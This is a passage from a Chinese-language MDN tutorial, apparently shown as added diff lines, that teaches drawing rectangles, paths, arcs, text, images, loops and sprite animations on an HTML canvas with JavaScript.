<code>ctx</code>)。许多操作都需要提供坐标来指示绘图的确切位置。画布左上角的坐标是(0, 0),横坐标(x)轴向右延伸,纵坐标(y)轴向下延伸。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/224/Canvas_default_grid.png" style="display: block; margin: 0 auto;"></p> + +<p>绘图操作可基于原始矩形模型实现,也可通过追踪一个特定路径后填充颜色实现。下面分别讲解。</p> + +<h3 id="简单矩形">简单矩形</h3> + +<p>让我们从简单矩形开始。</p> + +<ol> + <li> + <p>首先,复制一份刚才创建的画布模板 (如果你没有严格按上述步骤进行,请下载 <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a>)。</p> + </li> + <li> + <p>然后在 JS 代码末尾添加下面两行:</p> + + <pre class="brush: js notranslate">ctx.fillStyle = 'rgb(255, 0, 0)'; +ctx.fillRect(50, 50, 100, 150);</pre> + + <p>保存并刷新,画布上将出现一个红色的矩形。其左边和顶边与画布边缘距离均为 50 像素(由前两个参数指定),宽 100 像素、高 150 像素(由后两个参数指定)。</p> + </li> + <li> + <p>然后再添加一个绿色矩形。在 JS 代码末尾添加下面两行:</p> + + <pre class="brush: js notranslate">ctx.fillStyle = 'rgb(0, 255, 0)'; +ctx.fillRect(75, 75, 100, 100);</pre> + + <p>保存并刷新,新的矩形就会出现。这里引出了一个新问题:绘制矩形、线等操作按出现的顺序依次进行。就像粉刷墙面时,两层重叠时新层总会覆盖旧层。这一点是无法改变的,因此在绘制图形时一定要慎重考虑顺序问题。</p> + </li> + <li> + <p>你还可以通过指定半透明的颜色来绘制半透明的图形,比如使用 <code>rgba()</code>。 <code>a</code> 指定了“α 通道”的值,也就是颜色的透明度。值越高透明度越高,底层的内容就越清晰。在代码中添加以下两行:</p> + + <pre class="brush: js notranslate"><code>ctx.fillStyle = 'rgba(255, 0, 255, 0.75)'; +ctx.fillRect(25, 100, 175, 50);</code></pre> + </li> + <li> + <p>现在你可以自己尝试绘制一些矩形了,玩得开心!</p> + </li> +</ol> + +<h3 id="描边(stroke)和线条宽度">描边(stroke)和线条宽度</h3> + +<p>目前我们绘制的矩形都是填充颜色的,我们也可以绘制仅包含外部框线(图形设计中称为<strong>描边</strong>)的矩形。你可以使用 {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}} 属性来设置描边颜色,使用 {{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect")}} 来绘制一个矩形的轮廓。</p> + +<ol> + <li> + <p>在上文的 JS 代码的末尾添加以下代码:</p> + + <pre class="brush: js notranslate">ctx.strokeStyle = 'rgb(255, 255, 255)'; +ctx.strokeRect(25, 25, 175, 200);</pre> + </li> + <li> + <p>默认的描边宽度是 1 像素,可以通过调整 {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}} 属性(接受一个表示描边宽度像素值的数字)的值来修改。在上文两行后添加以下代码(读者注:此代码要放到两行代码中间才有效):</p> + + <pre class="brush: js notranslate">ctx.lineWidth = 5;</pre> + </li> +</ol> + +<p>现在可以看到白色的外边框变得更粗了。就这么简单,示例看上去像这样:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/2_canvas_rectangles.html", '100%', 250)}}</p> + +<div class="note"> +<p><strong>注</strong>: 完整代码请访问 GitHub: <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/2_canvas_rectangles.html">2_canvas_rectangles.html</a>。</p> +</div> + +<h3 id="绘制路径">绘制路径</h3> + +<p>可以通过绘制路径来绘制比矩形更复杂的图形。路径中至少要包含钢笔运行精确路径的代码以确定图形的形状。画布提供了许多函数用来绘制直线、圆、贝塞尔曲线,等等。</p> + +<p>重新复制一份(<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a>),然后在其中绘制新的示例。</p> + +<p>一些通用的方法和属性将贯穿以下全部内容:</p> + +<ul> + <li>{{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}}:在钢笔当前所在位置开始绘制一条路径。在新的画布中,钢笔起始位置为 (0, 0)。</li> + <li>{{domxref("CanvasRenderingContext2D.moveTo", "moveTo()")}}:将钢笔移动至另一个坐标点,不记录、不留痕迹,只将钢笔“跳”至新位置。</li> + <li>{{domxref("CanvasRenderingContext2D.fill", "fill()")}}:通过为当前所绘制路径的区域填充颜色来绘制一个新的填充形状。</li> + <li>{{domxref("CanvasRenderingContext2D.stroke", "stroke()")}}:通过为当前绘制路径的区域描边,来绘制一个只有边框的形状。</li> + <li>路径也可和矩形一样使用 <code>lineWidth</code> 和 <code>fillStyle</code> / <code>strokeStyle</code> 等功能。</li> +</ul> + +<p>以下是一个典型的简单路径绘制选项:</p> + +<pre class="brush: js notranslate">ctx.fillStyle = 'rgb(255, 0, 0)'; +ctx.beginPath(); +ctx.moveTo(50, 50); +// 绘制路径 +ctx.fill();</pre> + +<h4 id="画线">画线</h4> + +<p>我们来在画布上绘制一个等边三角形。</p> + +<ol> + <li> + <p>首先,在代码底部添加下面的辅助函数。它可以将角度换算为弧度,在为 JavaScript 提供角度值时非常实用,JS 基本上只接受弧度值,而人类更习惯用角度值。</p> + + <pre class="brush: js notranslate">function degToRad(degrees) { + return degrees * Math.PI / 180; +};</pre> + </li> + <li> + <p>然后,在刚才复制好的文件中添加下面的内容,以开始路径的绘制。此处为我们为三角形设置了颜色,准备绘制,然后将钢笔移动至 (50, 50)(没有绘制任何内容)。然后准备在新的坐标开始绘制三角形。</p> + + <pre class="brush: js notranslate">ctx.fillStyle = 'rgb(255, 0, 0)'; +ctx.beginPath(); +ctx.moveTo(50, 50);</pre> + </li> + <li> + <p>接下来在脚本中添加以下代码:</p> + + <pre class="brush: js notranslate">ctx.lineTo(150, 50); +var triHeight = 50 * Math.tan(degToRad(60)); +ctx.lineTo(100, 50+triHeight); +ctx.lineTo(50, 50); +ctx.fill();</pre> + + <p>我们来逐行解释:</p> + + <p>首先绘制一条直线,终点坐标为 (150, 50)。此时路径沿 x 轴向右行走 100 像素。</p> + + <p>然后利用三角函数来计算等边三角形的高。这里我们要绘制的三角形是朝下的。等边三角形每个角均为 60°,为计算高的值,我们可以将三角形从正中心分割为两个直角三角形,每个直角三角形的三个角分别为 90°、60°、30°。对于边:</p> + + <ul> + <li>最长的边称为 <strong>斜边</strong>。</li> + <li>紧挨 60° 角的边称为 <strong>临边</strong>,显然地,它的长度是刚才绘制的线的一半,即 50 像素。</li> + <li>60° 角对面的边称为 <strong>对边</strong>,即三角形的高,需要计算得到。</li> + </ul> + + <p><img alt="" src="https://mdn.mozillademos.org/files/16289/%E4%B8%89%E8%A7%92%E5%87%BD%E6%95%B0.png" style="display: block; margin: 0 auto;"></p> + + <p>通过基本三角函数可得:临边长度乘以角的正切等于对边长度。于是可得三角形的高为 <code>50 * Math.tan(degToRad(60))</code>。由于 {{jsxref("Math.tan()")}} 接受数值的单位为弧度,于是我们用刚才的 <code>degToRad()</code> 函数将 60° 换算为弧度。</p> + </li> + <li> + <p>有了三角形的高,我们来绘制另一条线,终点坐标为 <code>(100, 50+triHeight)</code>。X 坐标值很简单,应在刚才绘制的水平线两顶点正中间位置。Y 值应为 50 加上三角形的高,因为高即三角形底边到顶点的距离。</p> + </li> + <li> + <p>下一条线的终点坐标为绘制整个三角形的起点坐标。</p> + </li> + <li> + <p>最后,运行 <code>ctx.fill()</code> 来终止路径,并为图形填充颜色。</p> + </li> +</ol> + +<h4 id="画圆">画圆</h4> + +<p>下面来看可在画布中绘制圆的方法—— {{domxref("CanvasRenderingContext2D.arc", "arc()")}} ,通过连续的点来绘制整个圆或者弧(arc,即局部的圆)。</p> + +<ol> + <li> + <p>在代码中添加以下几行,以向画布中添加一条弧。</p> + + <pre class="notranslate">ctx.fillStyle = 'rgb(0, 0, 255)'; +ctx.beginPath(); +ctx.arc(150, 106, 50, degToRad(0), degToRad(360), false); +ctx.fill();</pre> + + <p><code>arc()</code> 函数有六个参数。前两个指定圆心的位置坐标,第三个是圆的半径,第四、五个是绘制弧的起、止角度(给定 0° 和 360° 便能绘制一个完整的圆),第六个是绘制方向(<code>false</code> 是顺时针,<code>true</code> 是逆时针)。</p> + + <div class="note"> + <p><strong>注:</strong>0° 设定为水平向右。</p> + </div> + </li> + <li> + <p>我们再来画一条弧:</p> + + <pre class="notranslate">ctx.fillStyle = 'yellow'; +ctx.beginPath(); +ctx.arc(200, 106, 50, degToRad(-45), degToRad(45), true); +ctx.lineTo(200, 106); +ctx.fill();</pre> + + <p>模式基本一样,但有两点不同:</p> + + <ul> + <li>将 <code>arc()</code> 的最后一个参数设置为 <code>true</code>,意味着弧将逆时针绘制,也就意味着即使起、止角度分别设置为 -45°、45°,我们还是得到了区域外的一条 270° 的弧。如果把 <code>true</code> 改为<code>false</code> 重新运行,将得到 90° 的弧。</li> + <li>在调用 <code>fill()</code> 前,我们绘制了一条终点为圆心的直线。然后我们就渲染出一个惟妙惟肖的吃豆人模型。如果删除这条线(试试呗)再重新运行代码,你只能得到一个起止点间被砍掉一块的圆。这向我们展示了画布的另一个重要事项:如果要填充一个未完成(也就是没有首尾相接)的路径,浏览器将在起、止点件绘制一条直线,然后直接填充。</li> + </ul> + </li> +</ol> + +<p>示例现在应该跟下图一致:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/3_canvas_paths.html", '100%', 200)}}</p> + +<div class="note"> +<p><strong>注:</strong>完整代码可到 GitHub 下载:<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/3_canvas_paths.html">3_canvas_paths.html</a>。</p> +</div> + +<div class="note"> +<p><strong>注:</strong>请访问我们的 <a href="/zh-CN/docs/Web/API/Canvas_API/Tutorial/Drawing_shapes">用画布绘图</a> 入门课程来学习更多高级的路径绘制功能,比如贝叶斯曲线。</p> +</div> + +<h3 id="文本">文本</h3> + +<p>画布可用于绘制文本。我们简要学习一下。首先再次下载一份新的画布模板(<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.htm</a>),我们用它来绘制新的示例。</p> + +<p>以下两个函数用于绘制文本:</p> + +<ul> + <li>{{domxref("CanvasRenderingContext2D.fillText", "fillText()")}} :绘制有填充色的文本。</li> + <li>{{domxref("CanvasRenderingContext2D.strokeText", "strokeText()")}}:绘制文本外边框(描边)。</li> +</ul> + +<p>这两个函数有三个基本的参数:需要绘制的文字、<strong>文本框</strong>(顾名思义,围绕着需要绘制文字的方框)左上顶点的X、Y坐标。</p> + +<p>还有一系列帮助控制文本渲染的属性:比如用于指定字体族、字号的 {{domxref("CanvasRenderingContext2D.font", "font")}},它的值和语法与 CSS 的 {{cssxref("font")}} 属性一致。</p> + +<p>在 JS 代码底部添加以下内容:</p> + +<pre class="brush: js notranslate">ctx.strokeStyle = 'white'; +ctx.lineWidth = 1; +ctx.font = '36px arial'; +ctx.strokeText('Canvas text', 50, 50); + +ctx.fillStyle = 'red'; +ctx.font = '48px georgia'; +ctx.fillText('Canvas text', 50, 150);</pre> + +<p>将绘制两行文字,一行描边文字一行填充颜色的文字。示例最终如下所示:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/4_canvas_text.html", '100%', 180)}}</p> + +<div class="note"> +<p><strong>注:</strong>完整代码可到 GitHub 下载:<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/4_canvas_text.html">4_canvas_text.html</a>.</p> +</div> + +<p>可以自己尝试一下。访问 <a href="/zh-CN/docs/Web/API/Canvas_API/Tutorial/Drawing_text">绘制文本</a> 获得关于画布文本选项的更多信息。</p> + +<h3 id="在画布上绘制图片">在画布上绘制图片</h3> + +<p>可在画布上渲染外部图片,简单图片文件、视频帧、其他画布内容都可以。这里我们只考虑简单图片文件的情况:</p> + +<ol> + <li> + <p>同上,下载画布模板(<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a>)以绘制新的示例。这里还需要在同一目录下保存一个示例图片文件:<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/firefox.png">firefox.png</a>。</p> + + <p>{{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}} 方法可将图片绘制在画布上。 最简单的版本需要三个参数:需要渲染的图片、图片左上角的X、Y坐标。</p> + </li> + <li> + <p>将图片源嵌入画布中,代码如下:</p> + + <pre class="brush: js notranslate">var image = new Image(); +image.src = 'firefox.png';</pre> + + <p>这里使用 {{domxref("HTMLImageElement.Image()", "Image()")}} 构造器创建了一个新的 {{domxref("HTMLImageElement")}} 对象。返回对象的类型与非空 {{htmlelement("img")}} 元素的引用是一致的。然后将它的 {{htmlattrxref("src", "img")}} 属性设置为 Firefox 的图标。此时浏览器将开始载入这张图片。</p> + </li> + <li> + <p>这次我们尝试用 <code>drawImage()</code> 函数来嵌入图片,应确保图片先载入完毕,否则运行会出错。可以通过 <code>onload</code> 事件处理器来达成,该函数只在图片调用完毕后才会调用。在上文代码末尾添加以下内容:</p> + + <pre class="brush: js notranslate">image.onload = function() { + ctx.drawImage(image, 50, 50); +}</pre> + + <p>保存刷新,可以看到图片成功嵌入画布中。</p> + </li> + <li> + <p>还有更多方式。如果仅需要显示图片的某一部分,或者需要改变尺寸,该怎么做呢?复杂版本的 <code>drawImage()</code> 可解决这两个问题。请更新 <code>ctx.drawImage()</code> 一行代码为:</p> + + <pre class="brush: js notranslate">ctx.drawImage(image, 20, 20, 185, 175, 50, 50, 185, 175);</pre> + + <ul> + <li>第一个参数不变,为图片引用。</li> + <li>参数 2、3 表示裁切部分左上顶点的坐标,参考原点为原图片本身左上角的坐标。原图片在该坐标左、上的部分均不会绘制出来。</li> + <li>参数 4、5 表示裁切部分的长、宽。</li> + <li>参数 6、7 表示裁切部分左上顶点在画布中的位置坐标,参考原点为画布左上顶点。</li> + <li>参数 8、9 表示裁切部分在画布中绘制的长、宽。本例中绘制时与裁切时面积相同,你也可以定制绘制的尺寸。</li> + </ul> + </li> +</ol> + +<p>最终结果如下所示:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/5_canvas_images.html", '100%', 260)}}</p> + +<div class="note"> +<p><strong>注:</strong>完整代码可到 GitHub 下载:<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/5_canvas_images.html">5_canvas_images.html</a>.</p> +</div> + +<h2 id="循环和动画">循环和动画</h2> + +<p>目前我们学习了关于 2D 画布一些非常基础的用法,但是不学习动画你就无法体会画布的强大。画布是提供可编程图形的。如果你的作品不需要改变,那么你就只能永远面对那些静态图片了。</p> + +<h3 id="创建一个循环">创建一个循环</h3> + +<p>在画布中使用循环是件有趣的事,你可以在 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for">for</a></code> 循环中运行画布命令,和其他 JS 代码一样。</p> + +<p>我们来创建一个简单的示例。</p> + +<ol> + <li> + <p>继续复制一份画布模板(<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a>)在代码编辑器中打开。</p> + </li> + <li> + <p>在 JS 代码末尾添加以下一行。这将创建一个新方法——{{domxref("CanvasRenderingContext2D.translate", "translate()")}},可用于移动画布的原点。</p> + + <pre class="brush: js notranslate">ctx.translate(width/2, height/2);</pre> + + <p>这会使原点 (0, 0) 从画布左上顶点移动至画布正中心。这个功能在许多场合非常实用,就像本示例,我们的绘制操作都是围绕着画布的中心点展开的。</p> + </li> + <li> + <p>在 JS 代码末尾添加以下内容:</p> + + <pre class="brush: js notranslate">function degToRad(degrees) { + return degrees * Math.PI / 180; +}; + +function rand(min, max) { + return Math.floor(Math.random() * (max-min+1)) + (min); +} + +var length = 250; +var moveOffset = 20; + +for(var i = 0; i < length; i++) { + +}</pre> + + <p>这里我们实现了一个与上文三角形示例中相同的 <code>degToRad()</code> 函数、一个返回给定范围内随机数 <code>rand()</code> 函数、<code>length</code> 和 <code>moveOffset</code> 变量(见下文),以及一个空的 <code>for</code> 循环。</p> + </li> + <li> + <p>此处的理念是利用 <code>for</code> 循环在画布上循环迭代绘制好玩儿的内容。请将以下代码添加进 <code>for</code> 循环中:</p> + + <pre class="brush: js notranslate">ctx.fillStyle = 'rgba(' + (255-length) + ', 0, ' + (255-length) + ', 0.9)'; +ctx.beginPath(); +ctx.moveTo(moveOffset, moveOffset); +ctx.lineTo(moveOffset+length, moveOffset); +var triHeight = length/2 * Math.tan(degToRad(60)); +ctx.lineTo(moveOffset+(length/2), moveOffset+triHeight); +ctx.lineTo(moveOffset, moveOffset); +ctx.fill(); + +length--; +moveOffset += 0.7; +ctx.rotate(degToRad(5));</pre> + + <p>在每次迭代中:</p> + + <ul> + <li>设置 <code>fillStyle</code> 为略透明的紫色渐变色。渐变由每次迭代时 <code>length</code> 值的改变实现。随着循环的运行, <code>length</code> 值逐渐变小,从而使连续的三角形颜色逐渐变亮。</li> + <li>开始路径。</li> + <li>将钢笔移动至坐标 <code>(moveOffset, moveOffset)</code>;该变量定义了每次要绘制新三角形时需要移动的距离。</li> + <li>画一条直线,终点坐标为 <code>(moveOffset+length, moveOffset)</code>。即一条长度为 <code>length</code> 与 X 轴平行的线。</li> + <li>计算三角形的高,方法同上。</li> + <li>向三角形底部顶点方向绘制一条直线,然后向三角形的起始点绘制一条直线。</li> + <li>调用 <code>fill()</code> 为三角形填充颜色。</li> + <li>更新次序变量,准备绘制下一个三角形。<code>length</code> 的值减一,使三角形每次迭代都变小一些;小幅增加 <code>moveOffset</code> 的值,使得下一个三角形略微错位;用一个新函数 {{domxref("CanvasRenderingContext2D.rotate", "rotate()")}} 来旋转整块画布,在绘制下个三角形前画布旋转 5°。</li> + </ul> + </li> +</ol> + +<p>好了,最终结果如下:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/6_canvas_for_loop.html", '100%', 550)}}</p> + +<p>现在,你可以尝试这个示例,可以加一些创新哦。比如:</p> + +<ul> + <li>把三角形换成矩形、弧,甚至内嵌的图片。</li> + <li>修改 <code>length</code> 和 <code>moveOffset</code> 的值。</li> + <li>我们引入了 <code>rand()</code> 函数但是没有使用,你可以试着用它引入一些随机数。</li> +</ul> + +<div class="note"> +<p><strong>注:</strong>完整代码可到 GitHub 下载:<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/6_canvas_for_loop.html">6_canvas_for_loop.html</a>.</p> +</div> + +<h3 id="动画">动画</h3> + +<p>上文的循环示例很有趣,其实在重度画布应用(比如游戏或实时可视化)中恒定循环是至关重要的支持组件。如果期望画布显示的内容像一部电影,屏幕最好能够以 60 帧每秒的刷新率实时更新,这样人眼看到的动作才更真实、更平滑。</p> + +<p>一些 JavaScript 函数可以让函数在一秒内重复运行多次,这里最适合的就是 {{domxref("window.requestAnimationFrame()")}}。它只取一个参数,即每帧要运行的函数名。下一次浏览器准备好更新屏幕时,将会调用你的函数。如果你的函数向动画中绘制了更新内容,则在函数结束前再次调用 <code>requestAnimationFrame()</code>,动画循环得以保留。只有在停止调用 <code>requestAnimationFrame()</code> 时,或 <code>requestAnimationFrame()</code> 调用后、帧调用前调用了 {{domxref("window.cancelAnimationFrame()")}} 时,循环才会停止。</p> + +<p><strong>注:</strong>动画结束后在主代码中调用 <code>cancelAnimationFrame()</code> 是良好习惯,可以确保不再有等待运行的更新。</p> + +<p>浏览器自行处理诸如“使动画匀速运行”、“避免在不可见的内容浪费资源”等复杂细节问题。</p> + +<p>我们简单回顾一下“弹球”示例(<a href="https://mdn.github.io/learning-area/javascript/oojs/bouncing-balls/index-finished.html">在线运行</a> 或查看 <a href="https://github.com/mdn/learning-area/tree/master/javascript/oojs/bouncing-balls">源代码</a>),来探究一下原理。以下是让弹球持续运行的循环代码:</p> + +<pre class="brush: js notranslate">function loop() { + ctx.fillStyle = 'rgba(0, 0, 0, 0.25)'; + ctx.fillRect(0, 0, width, height); + + while(balls.length < 25) { + var ball = new Ball(); + balls.push(ball); + } + + for(i = 0; i < balls.length; i++) { + balls[i].draw(); + balls[i].update(); + balls[i].collisionDetect(); + } + + requestAnimationFrame(loop); +} + +loop();</pre> + +<p>我们在代码底部运行了一次 <code>loop()</code> 函数,它启动了整个循环,绘制了第一帧动画。接着 <code>loop()</code> 函数接管了<code>requestAnimationFrame(loop)</code> 的调用工作,即运行下一帧、再下一帧……的动画。</p> + +<p>请注意每一帧我们都整体清除画布并重新渲染所有内容。(每帧创建一个新球(25 个封顶),然后绘制每个球,更新它们的位置,检查是否撞到了其它球。)向画布中绘制的新图形不能像DOM 元素那样单独操作。你无法再画布中单独操作某一个球,因为只要绘制完毕了,它就是画布的一部分,而不是一个单独的球。你需要擦除再重画,可以将整帧擦除再重画整个画面,也可通过编程选择最小的部分进行擦除和重画。</p> + +<p>优化图形动画是另一个编程主题,需要好多奇技淫巧。这超出我们的讨论范围啦。</p> + +<p>一般地,在画布上制作动画需要以下步骤:</p> + +<ol> + <li>清除画布内容(可用 {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} 或 {{domxref("CanvasRenderingContext2D.clearRect", "clearRect()")}})。</li> + <li>(在需要时)用 {{domxref("CanvasRenderingContext2D.save", "save()")}} 保存状态。(在进行下一步前保存所更新的设置,一般在复杂环境中用到)</li> + <li>绘制动画图形。</li> + <li>使用 {{domxref("CanvasRenderingContext2D.restore", "restore()")}} 恢复第 2 步中保存的状态。</li> + <li>调用 <code>requestAnimationFrame()</code> 准备下一帧动画。</li> +</ol> + +<div class="note"> +<p><strong>注:</strong><code>save()<font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #fff3d4;"> 和 </span></font></code><code>restore()</code> 这里暂不展开,可以访问 <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Transformations">变形</a> 教程(及后续内容)来获取详细信息。</p> +</div> + +<h3 id="一个简单的人物动画">一个简单的人物动画</h3> + +<p>现在我们来创建一个简单的动画,我们找来一个复古的电脑游戏的主角制作一个在屏幕上行走的动画。</p> + +<ol> + <li> + <p>继续复制一份画布模板(<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/getting-started/1_canvas_template.html">1_canvas_template.html</a>)在代码编辑器中打开。下载 <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/walk-right.png">walk-right.png</a> 并放在同一文件夹。</p> + </li> + <li> + <p>在 JS 代码末尾添加下面一行,再次将画布的原点设置为中心点。</p> + + <pre class="brush: js notranslate">ctx.translate(width/2, height/2);</pre> + </li> + <li> + <p>创建一个新的 {{domxref("HTMLImageElement")}} 对象,把它的 {{htmlattrxref("src", "img")}} 设置为所需图片,添加一个 <code>onload</code> 事件处理器,使 <code>draw()</code> 函数在图片载入后触发。</p> + + <pre class="brush: js notranslate">var image = new Image(); +image.src = 'walk-right.png'; +image.onload = draw;</pre> + </li> + <li> + <p>添加一些变量,来追踪精灵图在屏幕上的位置,以及当前需要显示的精灵图的序号。</p> + + <pre class="brush: js notranslate">var sprite = 0; +var posX = 0;</pre> + + <p>我们来解释一下“精灵图序列”(我们借鉴了麦克托马斯的 <a href="http://atomicrobotdesign.com/blog/htmlcss/create-a-sprite-sheet-walk-cycle-using-using-css-animation/" rel="bookmark" title="Permanent Link to Create a sprite sheet walk cycle using using CSS animation">使用 CSS 动画创建人物行走的精灵图</a>)。图片如下:</p> + + <p><img alt="" src="https://mdn.mozillademos.org/files/14847/walk-right.png" style="display: block; margin: 0 auto;"></p> + + <p>图中包含六个精灵,它们组成了一趟完整的行走序列。每个精灵的尺寸为 102 × 148 像素。为了整齐的显示一个精灵,可以通过 <code>drawImage()</code> 来从序列中裁切出单独的精灵并隐藏其他部分,就像上文中操作 Firefox 图标的方法。切片的 X 坐标应为 102 的倍数,Y 坐标恒为 0。切片尺寸恒为 102 × 148 像素。</p> + </li> + <li> + <p>在代码末尾添加一个空的 <code>draw()</code> 函数,用来添加一些代码:</p> + + <pre class="brush: js notranslate">function draw() { + +};</pre> + </li> + <li> + <p>本节剩余部分都在这个 <code>draw()</code> 中展开。首先,添加以下代码,清除画布,准备绘制新的帧。注意由于我们刚才将原点设置为 <code>width/2, height/2</code>,这里需要将矩形左上顶点的坐标设置为 <code>-(width/2), -(height/2)</code>。</p> + + <pre class="brush: js notranslate">ctx.fillRect(-(width/2), -(height/2), width, height);</pre> + </li> + <li> + <p>下一步,我们使用 <code>drawImage()</code>(9参数版本)来绘制图形,添加以下代码:</p> + + <pre class="brush: js notranslate">ctx.drawImage(image, (sprite*102), 0, 102, 148, 0+posX, -74, 102, 148);</pre> + + <p>如你所见:</p> + + <ul> + <li><code>image</code> 指定需要嵌入的图片。</li> + <li>参数 2、3 指定切片左上顶点在原图的位置坐标,X 值为 <code>sprite</code>(精灵序列 0 - 5)乘 102,Y 值恒为 0。</li> + <li>参数 4、5 指定切片尺寸:102 × 148 像素。</li> + <li>参数 6、7 指定切片在画布绘制区域的坐上顶点坐标。X 坐标位置为 0 + <code>posX</code>,意味着我们可以通过修改 <code>posX</code> 的值来修改绘制的位置。</li> + <li>参数 8、9 指定图片在画布中的尺寸。这里需要图片保持原始尺寸,因此我们指定宽、高值为 102、148。</li> + </ul> + </li> + <li> + <p>现在,我们在每帧绘制完毕(部分完毕)后修改 <code>sprite</code> 的值。在 <code>draw()</code> 函数底部添加以下内容:</p> + + <pre class="brush: js notranslate"> if (posX % 13 === 0) { + if (sprite === 5) { + sprite = 0; + } else { + sprite++; + } + }</pre> + + <p>将整个功能块放置在 <code>if (posX % 13 === 0) { ... }</code> 内。用“模(<code>%</code>)运算符”(即 <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder_()">求余运算符</a>)来检测 <code>posX</code> 是否可以被 13 整除。如果整除,则通过增加 <code>sprite</code> 的值转至下一个精灵(到 5 号精灵时归零)。这实际上意味着每隔 13 帧才更新一次精灵,每秒大约更新 5 帧(<code>requestAnimationFrame()</code> 每秒最多调用 60 帧)。我们故意放慢了帧率,因为精灵图只有六个,且如果每秒显示 60 帧的话,这个角色就会快到起飞。</p> + + <p>外部程序块中用一个 <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if ... else</a></code> 语句来检测 <code>sprite</code> 的值是否为 5(精灵序号在 0 - 5 间循环,因此 5 代表最后一个精灵)。 如果最后一个精灵已经显示,就把 <code>sprite</code> 重置为 0,否则加 1。</p> + </li> + <li> + <p>下一步要算出每帧 <code>posX</code> 的值,在上文代码末尾添加以下内容:</p> + + <pre class="brush: js notranslate"> if(posX > width/2) { + newStartPos = -((width/2) + 102); + posX = Math.ceil(newStartPos / 13) * 13; + console.log(posX); + } else { + posX += 2; + }</pre> + + <p>用另一个 <code>if ... else</code> 来检测 <code>posX</code> 的值是否超出了 <code>width/2</code>,那意味着角色走到了屏幕右侧边缘。如果这样就计算出一个让角色出现在屏幕左侧边缘的 X 坐标,然后将 <code>posX</code> 设置为最接近这个数的 13 的倍数。这里必须限定 13 的倍数这个条件,这是因为 <code>posX</code> 不可能是 13 的倍数,若不限定的话上一段代码就不会运行了。</p> + + <p>如果角色没有走到屏幕边缘,只需为 <code>posX</code> 加 2。这将让他在下次绘制时更靠右些。</p> + </li> + <li> + <p>最后,通过在 <code>draw()</code> 函数末尾添加 {{domxref("window.requestAnimationFrame", "requestAnimationFrame()")}} 调用以实现动画的循环。</p> + + <pre class="brush: js notranslate">window.requestAnimationFrame(draw);</pre> + </li> +</ol> + +<p>成功了!最终效果如下所示:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html", '100%', 260)}}</p> + +<div class="note"> +<p><strong>注:</strong>完整代码可到 GitHub 下载:<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/7_canvas_walking_animation.html">7_canvas_walking_animation.html</a>.</p> +</div> + +<h3 id="简单的绘图应用">简单的绘图应用</h3> + +<p>下面来演示一个简单的绘图应用,作为最后一个绘画示例,它将向你展示动画循环如果与用户输入(本例中为鼠标移动)结合起来。我们不会带你一步一步来实现本示例,只对代码中最有趣的部分进行探究。</p> + +<p>示例代码可到GitHub下载:<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/loops_animation/8_canvas_drawing_app.html">8_canvas_drawing_app.html</a>,也可在线试玩:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/loops_animation/8_canvas_drawing_app.html", '100%', 600)}}</p> + +<p>下面我们就来看看代码的精华部分。首先,用 <code>curX</code>、<code>curY</code> 和 <code>pressed</code> 这三个变量来跟踪鼠标的 X、Y 坐标和点击状态。当鼠标移动时,触发一个函数作为 <code>onmousemove</code> 事件处理器,其应捕获当前的 X 和 Y 值。再用 <code>onmousedown</code> 和 <code>onmouseup</code> 事件处理器来修改鼠标键按下时 <code>pressed</code> 的值(按下为 <code>true</code>,释放为 <code>false</code>)。</p> + +<pre class="brush: js notranslate">var curX; +var curY; +var pressed = false; + +document.onmousemove = function(e) { + curX = (window.Event) ? e.pageX : e.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft); + curY = (window.Event) ? e.pageY : e.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop); +} + +canvas.onmousedown = function() { + pressed = true; +}; + +canvas.onmouseup = function() { + pressed = false; +}</pre> + +<p>在按下“Clear 